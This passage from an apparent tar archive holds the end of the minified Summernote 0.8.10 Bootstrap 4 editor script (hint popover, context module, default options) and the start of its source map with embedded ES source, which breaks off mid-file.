e=this.nodeFromItem(t);this.lastWordRange.insertNode(e),Ht.createFromNode(e).collapse().select(),this.lastWordRange=null,this.hide(),this.context.triggerEvent("change",this.$editable.html(),this.$editable[0]),this.context.invoke("editor.focus")}},e.prototype.nodeFromItem=function(t){var e=this.hints[t.data("index")],o=t.data("item"),n=e.content?e.content(o):o;return"string"==typeof n&&(n=Nt.createText(n)),n},e.prototype.createItemTemplates=function(e,o){var n=this.hints[e];return o.map(function(o,i){var r=t('<div class="note-hint-item"/>');return r.append(n.template?n.template(o):o+""),r.data({index:e,item:o}),r})},e.prototype.handleKeydown=function(t){this.$popover.is(":visible")&&(t.keyCode===At.code.ENTER?(t.preventDefault(),this.replace()):t.keyCode===At.code.UP?(t.preventDefault(),this.moveUp()):t.keyCode===At.code.DOWN&&(t.preventDefault(),this.moveDown()))},e.prototype.searchKeyword=function(t,e,o){var n=this.hints[t];if(n&&n.match.test(e)&&n.search){var i=n.match.exec(e);n.search(i[1],o)}else o()},e.prototype.createGroup=function(e,o){var n=this,i=t('<div class="note-hint-group note-hint-group-'+e+'"/>');return this.searchKeyword(e,o,function(t){(t=t||[]).length&&(i.html(n.createItemTemplates(e,t)),n.show())}),i},e.prototype.handleKeyup=function(t){var e=this;if(!N.contains([At.code.ENTER,At.code.UP,At.code.DOWN],t.keyCode)){var o=this.context.invoke("editor.createRange").getWordRange(),n=o.toString();if(this.hints.length&&n){this.$content.empty();var i=C.rect2bnd(N.last(o.getClientRects()));i&&(this.$popover.hide(),this.lastWordRange=o,this.hints.forEach(function(t,o){t.match.test(n)&&e.createGroup(o,n).appendTo(e.$content)}),this.$content.find(".note-hint-item:first").addClass("active"),"top"===this.direction?this.$popover.css({left:i.left,top:i.top-this.$popover.outerHeight()-5}):this.$popover.css({left:i.left,top:i.top+i.height+5}))}else this.hide()}},e.prototype.show=function(){this.$popover.show()},e.prototype.hide=function(){this.$popover.hide()},e}(),de=function(){function e(e,o){this.ui=t.summernote.ui,this.$note=e,this.memos={},this.modules={},this.layoutInfo={},this.options=o,this.initialize()}return e.prototype.initialize=function(){return this.layoutInfo=this.ui.createLayout(this.$note,this.options),this._initialize(),this.$note.hide(),this},e.prototype.destroy=function(){this._destroy(),this.$note.removeData("summernote"),this.ui.removeLayout(this.$note,this.layoutInfo)},e.prototype.reset=function(){var t=this.isDisabled();this.code(Nt.emptyPara),this._destroy(),this._initialize(),t&&this.disable()},e.prototype._initialize=function(){var e=this,o=t.extend({},this.options.buttons);Object.keys(o).forEach(function(t){e.memo("button."+t,o[t])});var n=t.extend({},this.options.modules,t.summernote.plugins||{});Object.keys(n).forEach(function(t){e.module(t,n[t],!0)}),Object.keys(this.modules).forEach(function(t){e.initializeModule(t)})},e.prototype._destroy=function(){var t=this;Object.keys(this.modules).reverse().forEach(function(e){t.removeModule(e)}),Object.keys(this.memos).forEach(function(e){t.removeMemo(e)}),this.triggerEvent("destroy",this)},e.prototype.code=function(t){var e=this.invoke("codeview.isActivated");if(void 0===t)return this.invoke("codeview.sync"),e?this.layoutInfo.codable.val():this.layoutInfo.editable.html();e?this.layoutInfo.codable.val(t):this.layoutInfo.editable.html(t),this.$note.val(t),this.triggerEvent("change",t)},e.prototype.isDisabled=function(){return"false"===this.layoutInfo.editable.attr("contenteditable")},e.prototype.enable=function(){this.layoutInfo.editable.attr("contenteditable",!0),this.invoke("toolbar.activate",!0),this.triggerEvent("disable",!1)},e.prototype.disable=function(){this.invoke("codeview.isActivated")&&this.invoke("codeview.deactivate"),this.layoutInfo.editable.attr("contenteditable",!1),this.invoke("toolbar.deactivate",!0),this.triggerEvent("disable",!0)},e.prototype.triggerEvent=function(){var t=N.head(arguments),e=N.tail(N.from(arguments)),o=this.options.callbacks[C.namespaceToCamel(t,"on")];o&&o.apply(this.$note[0],e),this.$note.trigger("summernote."+t,e)},e.prototype.initializeModule=function(t){var e=this.modules[t];e.shouldInitialize=e.shouldInitialize||C.ok,e.shouldInitialize()&&(e.initialize&&e.initialize(),e.events&&Nt.attachEvents(this.$note,e.events))},e.prototype.module=function(t,e,o){if(1===arguments.length)return this.modules[t];this.modules[t]=new e(this),o||this.initializeModule(t)},e.prototype.removeModule=function(t){var e=this.modules[t];e.shouldInitialize()&&(e.events&&Nt.detachEvents(this.$note,e.events),e.destroy&&e.destroy()),delete this.modules[t]},e.prototype.memo=function(t,e){if(1===arguments.length)return this.memos[t];this.memos[t]=e},e.prototype.removeMemo=function(t){this.memos[t]&&this.memos[t].destroy&&this.memos[t].destroy(),delete this.memos[t]},e.prototype.createInvokeHandlerAndUpdateState=function(t,e){var o=this;return function(n){o.createInvokeHandler(t,e)(n),o.invoke("buttons.updateCurrentStyle")}},e.prototype.createInvokeHandler=function(e,o){var n=this;return function(i){i.preventDefault();var r=t(i.target);n.invoke(e,o||r.closest("[data-value]").data("value"),r)}},e.prototype.invoke=function(){var t=N.head(arguments),e=N.tail(N.from(arguments)),o=t.split("."),n=o.length>1,i=n&&N.head(o),r=n?N.last(o):N.head(o),s=this.modules[i||"editor"];return!i&&this[r]?this[r].apply(this,e):s&&s[r]&&s.shouldInitialize()?s[r].apply(s,e):void 0},e}();t.fn.extend({summernote:function(){var e=t.type(N.head(arguments)),o="string"===e,n="object"===e,i=t.extend({},t.summernote.options,n?N.head(arguments):{});i.langInfo=t.extend(!0,{},t.summernote.lang["en-US"],t.summernote.lang[i.lang]),i.icons=t.extend(!0,{},t.summernote.options.icons,i.icons),i.tooltip="auto"===i.tooltip?!z.isSupportTouch:i.tooltip,this.each(function(e,o){var n=t(o);if(!n.data("summernote")){var r=new de(n,i);n.data("summernote",r),n.data("summernote").triggerEvent("init",r.layoutInfo)}});var r=this.first();if(r.length){var s=r.data("summernote");if(o)return s.invoke.apply(s,N.from(arguments));i.focus&&s.invoke("editor.focus")}return this}}),t.summernote=t.extend(t.summernote,{version:"0.8.10",ui:y,dom:Nt,plugins:{},options:{modules:{editor:jt,clipboard:qt,dropzone:Kt,codeview:Vt,statusbar:Wt,fullscreen:Gt,handle:_t,hintPopover:ce,autoLink:Yt,autoSync:Qt,placeholder:Jt,buttons:Xt,toolbar:te,linkDialog:ee,linkPopover:oe,imageDialog:ne,imagePopover:ie,tablePopover:re,videoDialog:se,helpDialog:ae,airPopover:le},buttons:{},lang:"en-US",followingToolbar:!0,otherStaticBar:"",toolbar:[["style",["style"]],["font",["bold","underline","clear"]],["fontname",["fontname"]],["color",["color"]],["para",["ul","ol","paragraph"]],["table",["table"]],["insert",["link","picture","video"]],["view",["fullscreen","codeview","help"]]],popatmouse:!0,popover:{image:[["imagesize",["imageSize100","imageSize50","imageSize25"]],["float",["floatLeft","floatRight","floatNone"]],["remove",["removeMedia"]]],link:[["link",["linkDialogShow","unlink"]]],table:[["add",["addRowDown","addRowUp","addColLeft","addColRight"]],["delete",["deleteRow","deleteCol","deleteTable"]]],air:[["color",["color"]],["font",["bold","underline","clear"]],["para",["ul","paragraph"]],["table",["table"]],["insert",["link","picture"]]]},airMode:!1,width:null,height:null,linkTargetBlank:!0,focus:!1,tabSize:4,styleWithSpan:!0,shortcuts:!0,textareaAutoSync:!0,hintDirection:"bottom",tooltip:"auto",container:"body",maxTextLength:0,styleTags:["p","blockquote","pre","h1","h2","h3","h4","h5","h6"],fontNames:["Arial","Arial Black","Comic Sans MS","Courier New","Helvetica Neue","Helvetica","Impact","Lucida Grande","Tahoma","Times New Roman","Verdana"],fontSizes:["8","9","10","11","12","14","18","24","36"],colors:[["#000000","#424242","#636363","#9C9C94","#CEC6CE","#EFEFEF","#F7F7F7","#FFFFFF"],["#FF0000","#FF9C00","#FFFF00","#00FF00","#00FFFF","#0000FF","#9C00FF","#FF00FF"],["#F7C6CE","#FFE7CE","#FFEFC6","#D6EFD6","#CEDEE7","#CEE7F7","#D6D6E7","#E7D6DE"],["#E79C9C","#FFC69C","#FFE79C","#B5D6A5","#A5C6CE","#9CC6EF","#B5A5D6","#D6A5BD"],["#E76363","#F7AD6B","#FFD663","#94BD7B","#73A5AD","#6BADDE","#8C7BC6","#C67BA5"],["#CE0000","#E79439","#EFC631","#6BA54A","#4A7B8C","#3984C6","#634AA5","#A54A7B"],["#9C0000","#B56308","#BD9400","#397B21","#104A5A","#085294","#311873","#731842"],["#630000","#7B3900","#846300","#295218","#083139","#003163","#21104A","#4A1031"]],colorsName:[["Black","Tundora","Dove Gray","Star Dust","Pale Slate","Gallery","Alabaster","White"],["Red","Orange Peel","Yellow","Green","Cyan","Blue","Electric Violet","Magenta"],["Azalea","Karry","Egg White","Zanah","Botticelli","Tropical Blue","Mischka","Twilight"],["Tonys Pink","Peach Orange","Cream Brulee","Sprout","Casper","Perano","Cold Purple","Careys Pink"],["Mandy","Rajah","Dandelion","Olivine","Gulf Stream","Viking","Blue Marguerite","Puce"],["Guardsman Red","Fire Bush","Golden Dream","Chelsea Cucumber","Smalt Blue","Boston Blue","Butterfly Bush","Cadillac"],["Sangria","Mai Tai","Buddha Gold","Forest Green","Eden","Venice Blue","Meteorite","Claret"],["Rosewood","Cinnamon","Olive","Parsley","Tiber","Midnight Blue","Valentino","Loulou"]],lineHeights:["1.0","1.2","1.4","1.5","1.6","1.8","2.0","3.0"],tableClassName:"table table-bordered",insertTableMaxSize:{col:10,row:10},dialogsInBody:!1,dialogsFade:!1,maximumImageFileSize:null,callbacks:{onInit:null,onFocus:null,onBlur:null,onBlurCodeview:null,onEnter:null,onKeyup:null,onKeydown:null,onImageUpload:null,onImageUploadError:null},codemirror:{mode:"text/html",htmlMode:!0,lineNumbers:!0},keyMap:{pc:{ENTER:"insertParagraph","CTRL+Z":"undo","CTRL+Y":"redo",TAB:"tab","SHIFT+TAB":"untab","CTRL+B":"bold","CTRL+I":"italic","CTRL+U":"underline","CTRL+SHIFT+S":"strikethrough","CTRL+BACKSLASH":"removeFormat","CTRL+SHIFT+L":"justifyLeft","CTRL+SHIFT+E":"justifyCenter","CTRL+SHIFT+R":"justifyRight","CTRL+SHIFT+J":"justifyFull","CTRL+SHIFT+NUM7":"insertUnorderedList","CTRL+SHIFT+NUM8":"insertOrderedList","CTRL+LEFTBRACKET":"outdent","CTRL+RIGHTBRACKET":"indent","CTRL+NUM0":"formatPara","CTRL+NUM1":"formatH1","CTRL+NUM2":"formatH2","CTRL+NUM3":"formatH3","CTRL+NUM4":"formatH4","CTRL+NUM5":"formatH5","CTRL+NUM6":"formatH6","CTRL+ENTER":"insertHorizontalRule","CTRL+K":"linkDialog.show"},mac:{ENTER:"insertParagraph","CMD+Z":"undo","CMD+SHIFT+Z":"redo",TAB:"tab","SHIFT+TAB":"untab","CMD+B":"bold","CMD+I":"italic","CMD+U":"underline","CMD+SHIFT+S":"strikethrough","CMD+BACKSLASH":"removeFormat","CMD+SHIFT+L":"justifyLeft","CMD+SHIFT+E":"justifyCenter","CMD+SHIFT+R":"justifyRight","CMD+SHIFT+J":"justifyFull","CMD+SHIFT+NUM7":"insertUnorderedList","CMD+SHIFT+NUM8":"insertOrderedList","CMD+LEFTBRACKET":"outdent","CMD+RIGHTBRACKET":"indent","CMD+NUM0":"formatPara","CMD+NUM1":"formatH1","CMD+NUM2":"formatH2","CMD+NUM3":"formatH3","CMD+NUM4":"formatH4","CMD+NUM5":"formatH5","CMD+NUM6":"formatH6","CMD+ENTER":"insertHorizontalRule","CMD+K":"linkDialog.show"}},icons:{align:"note-icon-align",alignCenter:"note-icon-align-center",alignJustify:"note-icon-align-justify",alignLeft:"note-icon-align-left",alignRight:"note-icon-align-right",rowBelow:"note-icon-row-below",colBefore:"note-icon-col-before",colAfter:"note-icon-col-after",rowAbove:"note-icon-row-above",rowRemove:"note-icon-row-remove",colRemove:"note-icon-col-remove",indent:"note-icon-align-indent",outdent:"note-icon-align-outdent",arrowsAlt:"note-icon-arrows-alt",bold:"note-icon-bold",caret:"note-icon-caret",circle:"note-icon-circle",close:"note-icon-close",code:"note-icon-code",eraser:"note-icon-eraser",font:"note-icon-font",frame:"note-icon-frame",italic:"note-icon-italic",link:"note-icon-link",unlink:"note-icon-chain-broken",magic:"note-icon-magic",menuCheck:"note-icon-menu-check",minus:"note-icon-minus",orderedlist:"note-icon-orderedlist",pencil:"note-icon-pencil",picture:"note-icon-picture",question:"note-icon-question",redo:"note-icon-redo",square:"note-icon-square",strikethrough:"note-icon-strikethrough",subscript:"note-icon-subscript",superscript:"note-icon-superscript",table:"note-icon-table",textHeight:"note-icon-text-height",trash:"note-icon-trash",underline:"note-icon-underline",undo:"note-icon-undo",unorderedlist:"note-icon-unorderedlist",video:"note-icon-video"}}})});summernote-bs4.js.map000064400001550323151677331550010570 0ustar00{"version":3,"file":"summernote-bs4.js","sources":["../src/js/base/renderer.js","../src/js/bs4/ui.js","../src/js/base/core/func.js","../src/js/base/core/lists.js","../src/js/base/core/env.js","../src/js/base/core/dom.js","../src/js/base/summernote-en-US.js","../src/js/base/core/key.js","../src/js/base/core/range.js","../src/js/base/core/async.js","../src/js/base/editing/History.js","../src/js/base/editing/Style.js","../src/js/base/editing/Bullet.js","../src/js/base/editing/Typing.js","../src/js/base/editing/Table.js","../src/js/base/module/Editor.js","../src/js/base/module/Clipboard.js","../src/js/base/module/Dropzone.js","../src/js/base/module/Codeview.js","../src/js/base/module/Statusbar.js","../src/js/base/module/Fullscreen.js","../src/js/base/module/Handle.js","../src/js/base/module/AutoLink.js","../src/js/base/module/AutoSync.js","../src/js/base/module/Placeholder.js","../src/js/base/module/Buttons.js","../src/js/base/module/Toolbar.js","../src/js/base/module/LinkDialog.js","../src/js/base/module/LinkPopover.js","../src/js/base/module/ImageDialog.js","../src/js/base/module/ImagePopover.js","../src/js/base/module/TablePopover.js","../src/js/base/module/VideoDialog.js","../src/js/base/module/HelpDialog.js","../src/js/base/module/AirPopover.js","../src/js/base/module/HintPopover.js","../src/js/base/Context.js","../src/js/summernote.js","../src/js/bs4/settings.js"],"sourcesContent":["import $ from 'jquery';\n\nclass Renderer {\n  constructor(markup, children, options, callback) {\n    this.markup = markup;\n    this.children = children;\n    this.options = options;\n    this.callback = callback;\n  }\n\n  render($parent) {\n    const $node = $(this.markup);\n\n    if (this.options && this.options.contents) {\n      $node.html(this.options.contents);\n    }\n\n    if (this.options && this.options.className) {\n      $node.addClass(this.options.className);\n    }\n\n    if (this.options && this.options.data) {\n      $.each(this.options.data, (k, v) => {\n        $node.attr('data-' + k, v);\n      });\n    }\n\n    if (this.options && this.options.click) {\n      $node.on('click', this.options.click);\n    }\n\n    if (this.children) {\n      const $container = $node.find('.note-children-container');\n      this.children.forEach((child) => {\n        child.render($container.length ? $container : $node);\n      });\n    }\n\n    if (this.callback) {\n      this.callback($node, this.options);\n    }\n\n    if (this.options && this.options.callback) {\n      this.options.callback($node);\n    }\n\n    if ($parent) {\n      $parent.append($node);\n    }\n\n    return $node;\n  }\n}\n\nexport default {\n  create: (markup, callback) => {\n    return () => {\n      const options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];\n      let children = $.isArray(arguments[0]) ? arguments[0] : [];\n      if (options && options.children) {\n        children = options.children;\n      }\n      return new Renderer(markup, children, options, callback);\n    };\n  }\n};\n","import $ from 'jquery';\nimport renderer from '../base/renderer';\n\nconst editor = renderer.create('<div class=\"note-editor note-frame card\"/>');\nconst toolbar = renderer.create('<div class=\"note-toolbar-wrapper\"><div class=\"note-toolbar card-header\" role=\"toolbar\"></div></div>');\nconst editingArea = renderer.create('<div class=\"note-editing-area\"/>');\nconst codable = renderer.create('<textarea class=\"note-codable\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst editable = renderer.create('<div class=\"note-editable card-block\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst statusbar = renderer.create([\n  '<output class=\"note-status-output\" aria-live=\"polite\"/>',\n  '<div class=\"note-statusbar\" role=\"status\">',\n  '  <output class=\"note-status-output\" aria-live=\"polite\"></output>',\n  '  <div class=\"note-resizebar\" role=\"seperator\" aria-orientation=\"horizontal\" aria-label=\"Resize\">',\n  '    <div class=\"note-icon-bar\"/>',\n  '    <div class=\"note-icon-bar\"/>',\n  '    <div class=\"note-icon-bar\"/>',\n  '  </div>',\n  '</div>'\n].join(''));\n\nconst airEditor = renderer.create('<div class=\"note-editor\"/>');\nconst airEditable = renderer.create([\n  '<output class=\"note-status-output\" aria-live=\"polite\"/>',\n  '<div class=\"note-editable\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>'\n].join(''));\n\nconst buttonGroup = renderer.create('<div class=\"note-btn-group btn-group\">');\n\nconst dropdown = renderer.create('<div class=\"dropdown-menu\" role=\"list\">', function($node, options) {\n  const markup = $.isArray(options.items) ? options.items.map(function(item) {\n    const value = (typeof item === 'string') ? item : (item.value || '');\n    const content = options.template ? options.template(item) : item;\n    const option = (typeof item === 'object') ? item.option : undefined;\n\n    const dataValue = 'data-value=\"' + value + '\"';\n    const dataOption = (option !== undefined) ? ' data-option=\"' + option + '\"' : '';\n    return '<a class=\"dropdown-item\" href=\"#\" ' + (dataValue + dataOption) + ' role=\"listitem\" aria-label=\"' + item + '\">' + content + '</a>';\n  }).join('') : options.items;\n\n  $node.html(markup).attr({'aria-label': options.title});\n});\n\nconst dropdownButtonContents = function(contents) {\n  return contents;\n};\n\nconst dropdownCheck = renderer.create('<div class=\"dropdown-menu note-check\" role=\"list\">', function($node, options) {\n  const markup = $.isArray(options.items) ? options.items.map(function(item) {\n    const value = (typeof item === 'string') ? item : (item.value || '');\n    const content = options.template ? options.template(item) : item;\n    return '<a class=\"dropdown-item\" href=\"#\" data-value=\"' + value + '\" role=\"listitem\" aria-label=\"' + item + '\">' + icon(options.checkClassName) + ' ' + content + '</a>';\n  }).join('') : options.items;\n  $node.html(markup).attr({'aria-label': options.title});\n});\n\nconst palette = renderer.create('<div class=\"note-color-palette\"/>', function($node, options) {\n  const contents = [];\n  for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) {\n    const eventName = options.eventName;\n    const colors = options.colors[row];\n    const colorsName = options.colorsName[row];\n    const buttons = [];\n    for (let col = 0, colSize = colors.length; col < colSize; col++) {\n      const color = colors[col];\n      const colorName = colorsName[col];\n      buttons.push([\n        '<button type=\"button\" class=\"note-color-btn\"',\n        'style=\"background-color:', color, '\" ',\n        'data-event=\"', eventName, '\" ',\n        'data-value=\"', color, '\" ',\n        'title=\"', colorName, '\" ',\n        'aria-label=\"', colorName, '\" ',\n        'data-toggle=\"button\" tabindex=\"-1\"></button>'\n      ].join(''));\n    }\n    contents.push('<div class=\"note-color-row\">' + buttons.join('') + '</div>');\n  }\n  $node.html(contents.join(''));\n\n  if (options.tooltip) {\n    $node.find('.note-color-btn').tooltip({\n      container: options.container,\n      trigger: 'hover',\n      placement: 'bottom'\n    });\n  }\n});\n\nconst dialog = renderer.create('<div class=\"modal\" aria-hidden=\"false\" tabindex=\"-1\" role=\"dialog\"/>', function($node, options) {\n  if (options.fade) {\n    $node.addClass('fade');\n  }\n  $node.attr({\n    'aria-label': options.title\n  });\n  $node.html([\n    '<div class=\"modal-dialog\">',\n    '  <div class=\"modal-content\">',\n    (options.title\n      ? '    <div class=\"modal-header\">' +\n    '      <h4 class=\"modal-title\">' + options.title + '</h4>' +\n    '      <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\" aria-hidden=\"true\">&times;</button>' +\n    '    </div>' : ''\n    ),\n    '    <div class=\"modal-body\">' + options.body + '</div>',\n    (options.footer\n      ? '    <div class=\"modal-footer\">' + options.footer + '</div>' : ''\n    ),\n    '  </div>',\n    '</div>'\n  ].join(''));\n});\n\nconst popover = renderer.create([\n  '<div class=\"note-popover popover in\">',\n  '  <div class=\"arrow\"/>',\n  '  <div class=\"popover-content note-children-container\"/>',\n  '</div>'\n].join(''), function($node, options) {\n  const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';\n\n  $node.addClass(direction);\n\n  if (options.hideArrow) {\n    $node.find('.arrow').hide();\n  }\n});\n\nconst checkbox = renderer.create('<label class=\"custom-control custom-checkbox\"></label>', function($node, options) {\n  if (options.id) {\n    $node.attr('for', options.id);\n  }\n  $node.html([\n    ' <input role=\"checkbox\" type=\"checkbox\" class=\"custom-control-input\"' + (options.id ? ' id=\"' + options.id + '\"' : ''),\n    (options.checked ? ' checked' : ''),\n    ' aria-checked=\"' + (options.checked ? 'true' : 'false') + '\"/>',\n    ' <span class=\"custom-control-indicator\"></span>',\n    ' <span class=\"custom-control-description\">' + (options.text ? options.text : '') + '</span>',\n    '</label>'\n  ].join(''));\n});\n\nconst icon = function(iconClassName, tagName) {\n  tagName = tagName || 'i';\n  return '<' + tagName + ' class=\"' + iconClassName + '\"/>';\n};\n\nconst ui = {\n  editor: editor,\n  toolbar: toolbar,\n  editingArea: editingArea,\n  codable: codable,\n  editable: editable,\n  statusbar: statusbar,\n  airEditor: airEditor,\n  airEditable: airEditable,\n  buttonGroup: buttonGroup,\n  dropdown: dropdown,\n  dropdownButtonContents: dropdownButtonContents,\n  dropdownCheck: dropdownCheck,\n  palette: palette,\n  dialog: dialog,\n  popover: popover,\n  icon: icon,\n  checkbox: checkbox,\n  options: {},\n\n  button: function($node, options) {\n    return renderer.create('<button type=\"button\" class=\"note-btn btn btn-light btn-sm\" role=\"button\" tabindex=\"-1\">', function($node, options) {\n      if (options && options.tooltip) {\n        $node.attr({\n          title: options.tooltip,\n          'aria-label': options.tooltip\n        }).tooltip({\n          container: options.container,\n          trigger: 'hover',\n          placement: 'bottom'\n        });\n      }\n    })($node, options);\n  },\n\n  toggleBtn: function($btn, isEnable) {\n    $btn.toggleClass('disabled', !isEnable);\n    $btn.attr('disabled', !isEnable);\n  },\n\n  toggleBtnActive: function($btn, isActive) {\n    $btn.toggleClass('active', isActive);\n  },\n\n  onDialogShown: function($dialog, handler) {\n    $dialog.one('shown.bs.modal', handler);\n  },\n\n  onDialogHidden: function($dialog, handler) {\n    $dialog.one('hidden.bs.modal', handler);\n  },\n\n  showDialog: function($dialog) {\n    $dialog.modal('show');\n  },\n\n  hideDialog: function($dialog) {\n    $dialog.modal('hide');\n  },\n\n  createLayout: function($note, options) {\n    const $editor = (options.airMode ? ui.airEditor([\n      ui.editingArea([\n        ui.airEditable()\n      ])\n    ]) : ui.editor([\n      ui.toolbar(),\n      ui.editingArea([\n        ui.codable(),\n        ui.editable()\n      ]),\n      ui.statusbar()\n    ])).render();\n\n    $editor.insertAfter($note);\n\n    return {\n      note: $note,\n      editor: $editor,\n      toolbar: $editor.find('.note-toolbar'),\n      editingArea: $editor.find('.note-editing-area'),\n      editable: $editor.find('.note-editable'),\n      codable: $editor.find('.note-codable'),\n      statusbar: $editor.find('.note-statusbar')\n    };\n  },\n\n  removeLayout: function($note, layoutInfo) {\n    $note.html(layoutInfo.editable.html());\n    layoutInfo.editor.remove();\n    $note.show();\n  }\n};\n\nexport default ui;\n","/**\n * @class core.func\n *\n * func utils (for high-order func's arg)\n *\n * @singleton\n * @alternateClassName func\n */\nfunction eq(itemA) {\n  return function(itemB) {\n    return itemA === itemB;\n  };\n}\n\nfunction eq2(itemA, itemB) {\n  return itemA === itemB;\n}\n\nfunction peq2(propName) {\n  return function(itemA, itemB) {\n    return itemA[propName] === itemB[propName];\n  };\n}\n\nfunction ok() {\n  return true;\n}\n\nfunction fail() {\n  return false;\n}\n\nfunction not(f) {\n  return () => {\n    return !f.apply(f, arguments);\n  };\n}\n\nfunction and(fA, fB) {\n  return function(item) {\n    return fA(item) && fB(item);\n  };\n}\n\nfunction self(a) {\n  return a;\n}\n\nfunction invoke(obj, method) {\n  return () => {\n    return obj[method].apply(obj, arguments);\n  };\n}\n\nlet idCounter = 0;\n\n/**\n * generate a globally-unique id\n *\n * @param {String} [prefix]\n */\nfunction uniqueId(prefix) {\n  const id = ++idCounter + '';\n  return prefix ? prefix + id : id;\n}\n\n/**\n * returns bnd (bounds) from rect\n *\n * - IE Compatibility Issue: http://goo.gl/sRLOAo\n * - Scroll Issue: http://goo.gl/sNjUc\n *\n * @param {Rect} rect\n * @return {Object} bounds\n * @return {Number} bounds.top\n * @return {Number} bounds.left\n * @return {Number} bounds.width\n * @return {Number} bounds.height\n */\nfunction rect2bnd(rect) {\n  const $document = $(document);\n  return {\n    top: rect.top + $document.scrollTop(),\n    left: rect.left + $document.scrollLeft(),\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top\n  };\n}\n\n/**\n * returns a copy of the object where the keys have become the values and the values the keys.\n * @param {Object} obj\n * @return {Object}\n */\nfunction invertObject(obj) {\n  const inverted = {};\n  for (const key in obj) {\n    if (obj.hasOwnProperty(key)) {\n      inverted[obj[key]] = key;\n    }\n  }\n  return inverted;\n}\n\n/**\n * @param {String} namespace\n * @param {String} [prefix]\n * @return {String}\n */\nfunction namespaceToCamel(namespace, prefix) {\n  prefix = prefix || '';\n  return prefix + namespace.split('.').map(function(name) {\n    return name.substring(0, 1).toUpperCase() + name.substring(1);\n  }).join('');\n}\n\n/**\n * Returns a function, that, as long as it continues to be invoked, will not\n * be triggered. The function will be called after it stops being called for\n * N milliseconds. If `immediate` is passed, trigger the function on the\n * leading edge, instead of the trailing.\n * @param {Function} func\n * @param {Number} wait\n * @param {Boolean} immediate\n * @return {Function}\n */\nfunction debounce(func, wait, immediate) {\n  let timeout;\n  return () => {\n    const context = this;\n    const args = arguments;\n    const later = () => {\n      timeout = null;\n      if (!immediate) {\n        func.apply(context, args);\n      }\n    };\n    const callNow = immediate && !timeout;\n    clearTimeout(timeout);\n    timeout = setTimeout(later, wait);\n    if (callNow) {\n      func.apply(context, args);\n    }\n  };\n}\n\nexport default {\n  eq,\n  eq2,\n  peq2,\n  ok,\n  fail,\n  self,\n  not,\n  and,\n  invoke,\n  uniqueId,\n  rect2bnd,\n  invertObject,\n  namespaceToCamel,\n  debounce\n};\n","import $ from 'jquery';\nimport func from './func';\n\n/**\n * returns the first item of an array.\n *\n * @param {Array} array\n */\nfunction head(array) {\n  return array[0];\n}\n\n/**\n * returns the last item of an array.\n *\n * @param {Array} array\n */\nfunction last(array) {\n  return array[array.length - 1];\n}\n\n/**\n * returns everything but the last entry of the array.\n *\n * @param {Array} array\n */\nfunction initial(array) {\n  return array.slice(0, array.length - 1);\n}\n\n/**\n * returns the rest of the items in an array.\n *\n * @param {Array} array\n */\nfunction tail(array) {\n  return array.slice(1);\n}\n\n/**\n * returns item of array\n */\nfunction find(array, pred) {\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    const item = array[idx];\n    if (pred(item)) {\n      return item;\n    }\n  }\n}\n\n/**\n * returns true if all of the values in the array pass the predicate truth test.\n */\nfunction all(array, pred) {\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (!pred(array[idx])) {\n      return false;\n    }\n  }\n  return true;\n}\n\n/**\n * returns index of item\n */\nfunction indexOf(array, item) {\n  return $.inArray(item, array);\n}\n\n/**\n * returns true if the value is present in the list.\n */\nfunction contains(array, item) {\n  return indexOf(array, item) !== -1;\n}\n\n/**\n * get sum from a list\n *\n * @param {Array} array - array\n * @param {Function} fn - iterator\n */\nfunction sum(array, fn) {\n  fn = fn || func.self;\n  return array.reduce(function(memo, v) {\n    return memo + fn(v);\n  }, 0);\n}\n\n/**\n * returns a copy of the collection with array type.\n * @param {Collection} collection - collection eg) node.childNodes, ...\n */\nfunction from(collection) {\n  const result = [];\n  const length = collection.length;\n  let idx = -1;\n  while (++idx < length) {\n    result[idx] = collection[idx];\n  }\n  return result;\n}\n\n/**\n * returns whether list is empty or not\n */\nfunction isEmpty(array) {\n  return !array || !array.length;\n}\n\n/**\n * cluster elements by predicate function.\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n * @param {Array[]}\n */\nfunction clusterBy(array, fn) {\n  if (!array.length) { return []; }\n  const aTail = tail(array);\n  return aTail.reduce(function(memo, v) {\n    const aLast = last(memo);\n    if (fn(last(aLast), v)) {\n      aLast[aLast.length] = v;\n    } else {\n      memo[memo.length] = [v];\n    }\n    return memo;\n  }, [[head(array)]]);\n}\n\n/**\n * returns a copy of the array with all false values removed\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n */\nfunction compact(array) {\n  const aResult = [];\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (array[idx]) { aResult.push(array[idx]); }\n  }\n  return aResult;\n}\n\n/**\n * produces a duplicate-free version of the array\n *\n * @param {Array} array\n */\nfunction unique(array) {\n  const results = [];\n\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (!contains(results, array[idx])) {\n      results.push(array[idx]);\n    }\n  }\n\n  return results;\n}\n\n/**\n * returns next item.\n * @param {Array} array\n */\nfunction next(array, item) {\n  const idx = indexOf(array, item);\n  if (idx === -1) { return null; }\n\n  return array[idx + 1];\n}\n\n/**\n * returns prev item.\n * @param {Array} array\n */\nfunction prev(array, item) {\n  const idx = indexOf(array, item);\n  if (idx === -1) { return null; }\n\n  return array[idx - 1];\n}\n\n/**\n * @class core.list\n *\n * list utils\n *\n * @singleton\n * @alternateClassName list\n */\nexport default {\n  head,\n  last,\n  initial,\n  tail,\n  prev,\n  next,\n  find,\n  contains,\n  all,\n  sum,\n  from,\n  isEmpty,\n  clusterBy,\n  compact,\n  unique\n};\n","import $ from 'jquery';\nconst isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line\n\n/**\n * returns whether font is installed or not.\n *\n * @param {String} fontName\n * @return {Boolean}\n */\nfunction isFontInstalled(fontName) {\n  const testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';\n  const $tester = $('<div>').css({\n    position: 'absolute',\n    left: '-9999px',\n    top: '-9999px',\n    fontSize: '200px'\n  }).text('mmmmmmmmmwwwwwww').appendTo(document.body);\n\n  const 